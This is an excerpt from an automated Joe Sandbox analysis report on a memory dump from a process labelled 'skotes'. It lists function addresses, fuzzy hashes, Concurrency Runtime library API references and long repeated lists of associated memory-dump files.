Opcode Fuzzy Hash: d19856604418de38bc518dd6d349dc29431642b6b6ca21fc289d4a90b2af3ceb
Instruction Fuzzy Hash: 06B09232E1383087CA62ABA9BC099AD77189A80A1130F1166E941A72248B101D838BD4

Function 009EDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 440961c0d906ed67e2a4e706286d27bec65f9cd535680a2d1b941181e8e17af3
Instruction ID: 281aced5a839c96d8e0993fc6292d1f8d452e8b3bb31e90c4476be4c403f41bf
Opcode Fuzzy Hash: 440961c0d906ed67e2a4e706286d27bec65f9cd535680a2d1b941181e8e17af3
Instruction Fuzzy Hash: F1519E72D027068BDB1ACFA9D8897ADB7F5FB48304F24856AE409EB250D374AD41CF50

Function 00A026D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00A026E3

Part of subcall function 00A024E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00A02504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00A02704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00A02711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00A0275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00A027E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00A027F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00A02846

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: fc63fd81bdbb87313d41024b9290ed4a674f55e4eebad4e1e555f74fc01e6110
Instruction ID: 1ae8c40ee460e47851fb6653eb1ddd4bc9f6b178019834040153f37e56d5a2a0
Opcode Fuzzy Hash: fc63fd81bdbb87313d41024b9290ed4a674f55e4eebad4e1e555f74fc01e6110
Instruction Fuzzy Hash: A281B03490034DABDF169F94EA99BFE7BB1AF45348F044098ED412B2D2C7328D19DB61

Function 00A02970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00A02982

Part of subcall function 00A024E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00A02504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00A029A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00A029B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00A029FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00A02AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00A02AD8

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: ae7464d5822451941da10b71ee3309f3cddc9f28d6a8036545eac7aeb9db50b0
Instruction ID: 038c3e5ce2d40808952e1eb7f7c6fd07a8a34b4f24855da1123e0946b16992b0
Opcode Fuzzy Hash: ae7464d5822451941da10b71ee3309f3cddc9f28d6a8036545eac7aeb9db50b0
Instruction Fuzzy Hash: 0E71AB30A0034DAFDF15CF54E999BBEBBB6AF46344F044099EC416B292CB329D16DB61

Function 009F2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 009F2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009F28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009F2913

Part of subcall function 009F07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 009F080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 009F2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009F29DB

Part of subcall function 009F07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009F07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009F29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009F2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009F2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 009F2A7E

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 53f903142d9c92a79b32d6c2618a7fe8a5e40a696e161cf97cc54d0bc1bd69c8
Instruction ID: 12459b33cd1bade3bdde7987241ec6b3f058027c2b66b9ab904a34cba21f96e7
Opcode Fuzzy Hash: 53f903142d9c92a79b32d6c2618a7fe8a5e40a696e161cf97cc54d0bc1bd69c8
Instruction Fuzzy Hash: 40819E31E0161A9BCB18DFB8DC916BDF7B5BB88310B64402DE645E7291E774AD82CB90

Function 009F69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 009F6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 009F6A51
List.LIBCONCRT ref: 009F6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 009F6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 009F6AB9
List.LIBCONCRT ref: 009F6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 009F6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009F6B20
List.LIBCONCRT ref: 009F6B5B
